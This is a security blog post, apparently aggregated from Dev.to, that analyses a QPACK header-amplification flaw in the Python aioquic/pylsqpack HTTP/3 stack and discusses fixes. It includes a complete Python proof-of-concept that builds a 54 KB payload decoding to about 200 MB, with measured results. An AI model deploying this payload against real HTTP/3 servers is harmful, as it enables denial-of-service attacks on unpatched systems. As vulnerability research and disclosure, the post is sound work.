Dev.to Security 🔐 Cybersecurity 👁 0 📖 4 min read

I built FoxIO's 54 KB HTTP/3 accordion by hand. aioquic's decoder unfolded it to 200 MB.

On October 20, FoxIO disclosed "Header Accordions": a class of QPACK amplification attacks against HTTP/3 servers. QPACK is HTTP/3's header compression. The bug pattern is simple to state — implementations cap the size o

On October 20, FoxIO disclosed "Header Accordions": a class of QPACK amplification attacks against HTTP/3 servers. QPACK is HTTP/3's header compression. The bug pattern is simple to state — implementations cap the size of the compressed header block that arrives on the wire, but not the size of what it expands into when decoded. Seven of the ten stacks FoxIO tested were vulnerable. quic-go, Cloudflare quiche, lsquic, and Wireshark have fixes. Three had none at disclosure: Bun, the Rust h3 crate, and aioquic — the Python QUIC/HTTP/3 library, which also means mitmproxy's HTTP/3 path.

FoxIO's worst number was ~4,000x amplification on Bun. I wanted to know what the number looks like on the stack I can actually run: aioquic 1.7.0 with pylsqpack 1.0.0, installed from PyPI today, using the exact decoder configuration aioquic's H3Connection builds by default (dynamic table capacity 4096).

Two findings, one reassuring and one not.

The well-behaved encoder won't build the attack

First I tried the polite route: use pylsqpack's own encoder to insert one large header value into the dynamic table, then reference it repeatedly. At a table capacity of 4096, the encoder's insert behavior stops early:

cap=4096 vlen=500  entry=537   block2=202B     (1.0 B/ref, REFS)     amp=500x
cap=4096 vlen=1000 entry=1037  block2=202B     (1.0 B/ref, REFS)     amp=995x
cap=4096 vlen=2000 entry=2037  block2=298,588B (1492.9 B/ref, literals) amp=1x
cap=4096 vlen=4000 entry=4037  block2=598,595B (2993.0 B/ref, literals) amp=1x

Entries up to ~1 KB get inserted and referenced at one byte per reference. Anything bigger, the encoder silently falls back to sending Huffman-compressed literals every time — no accordion. (With the table capacity raised to 16384, the same encoder happily inserted a 4,000-byte value and produced a 10,002-byte block that decoded to 40,050,000 bytes. The encoder's restraint is a function of table size, not a safety property.)

This is worth stating plainly, because it's the wrong place to feel safe: attackers don't use your encoder. They write down the bytes the RFC allows and send those.

So I wrote down the bytes

QPACK lets a client send encoder instructions on a dedicated stream: "insert this name/value pair into the dynamic table." The decoder's only job is to check the entry fits the table it advertised. One entry of name :authority (borrowed from the static table) plus a 4,000-byte value occupies 10 + 4000 + 32 = 4,042 bytes — just inside aioquic's default 4,096-byte table. After that insert, each reference to it in a header block costs exactly one byte (0x80: indexed field line, dynamic table, relative index 0).

The whole attack is about thirty lines, most of it a prefixed-integer encoder:

import pylsqpack

def enc_int(value, prefix_bits, base):
    max_prefix = (1 << prefix_bits) - 1
    if value < max_prefix:
        return bytes([base | value])
    out = bytearray([base | max_prefix])
    value -= max_prefix
    while value >= 128:
        out.append((value % 128) + 128)
        value //= 128
    out.append(value)
    return bytes(out)

def build_attack(vlen, n_refs, capacity=4096):
    value = b"A" * vlen
    es = bytearray()
    es += enc_int(capacity, 5, 0x20)   # Set Dynamic Table Capacity
    es += bytes([0xC0])                # Insert w/ Name Ref: static idx 0 (":authority")
    es += enc_int(vlen, 7, 0x00)       # value string, no Huffman
    es += value
    hb = bytearray()
    hb += enc_int((1 % (2 * (capacity // 32))) + 1, 8, 0x00)  # Required Insert Count = 1
    hb += bytes([0x00])                # Base = 1
    hb += bytes([0x80]) * n_refs       # one-byte references to the entry
    return bytes(es), bytes(hb)

dec = pylsqpack.Decoder(4096, 100)     # aioquic's default construction
dec.feed_encoder(encoder_stream)
dbytes, headers = dec.feed_header(4, header_block)   # no error, ever

Results, measured locally with tracemalloc around the decode:

vlen=4000 n=1000:  wire=5,009B   -> 1,000 fields,  4,010,000 decoded bytes   (801x)
vlen=4000 n=10000: wire=14,009B  -> 10,000 fields, 40,100,000 decoded bytes  (2,862x)
vlen=4000 n=50000: wire=54,009B  -> 50,000 fields, 200,500,000 decoded bytes (3,712x)
                   decode time 284 ms, decoder-side traced peak memory 207.0 MB

54 KB in, 200 MB of decoded header data out, in about a quarter of a second, and the decoder returned successfully at every size I tried. Nothing in the decode path counts fields, sums bytes, or stops. The amplification ratio improves as you scale, because the 4 KB insert is a fixed cost amortized over more one-byte references.

The aioquic layer adds no budget either

A library above pylsqpack could still enforce a cumulative limit. aioquic doesn't. Its _decode_headers is a straight pass-through:

decoder, headers = self._decoder.feed_header(stream_id, frame_data)
# ... bookkeeping of decoder-stream bytes ...
return headers

Whatever comes out is handed to header validation, which checks pseudo-header rules and content-length consistency — not total size or field count. HTTP/3 even has a setting for this, SETTINGS_MAX_FIELD_SECTION_SIZE (0x6). In aioquic's connection.py the constant MAX_FIELD_SECTION_SIZE appears exactly once: its definition. It is never sent and never enforced. (One honest limit on my test: I drove the decoder directly, the way aioquic itself calls it, rather than through a full QUIC handshake. By the time a real server's code diverges from what I did, the 200 MB is already allocated — the allocation is the vulnerability, and everything downstream only adds to it.)

What actually fixes this

FoxIO's framing is the right one: the budget has to be cumulative and enforced during decoding, not checked after the field list exists — after decode, the memory is already spent. If you run mitmproxy with HTTP/3 enabled, the documented workaround until aioquic ships a fix is --set http3=false. If you build on aioquic directly, there is currently no knob to turn; a field-count/byte cap between feed_header and your application is something you'd have to write yourself, knowing it runs after the allocation.

The pattern should look familiar by now — it's the decompression bomb wearing a protocol costume. ZIP files taught us this in the 90s: the ratio is the vulnerability, and any format where one byte can stand for four thousand needs its limits enforced on the expanding side, by the expander, while it expands.

Sources: FoxIO, "Header Accordions: QPACK amplification attacks against HTTP/3 servers" (disclosed October 20, 2026; patched/unpatched status as of that date), and The Hacker News coverage. All measurements above were run locally today against aioquic 1.7.0 / pylsqpack 1.0.0 from PyPI.

📰 Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.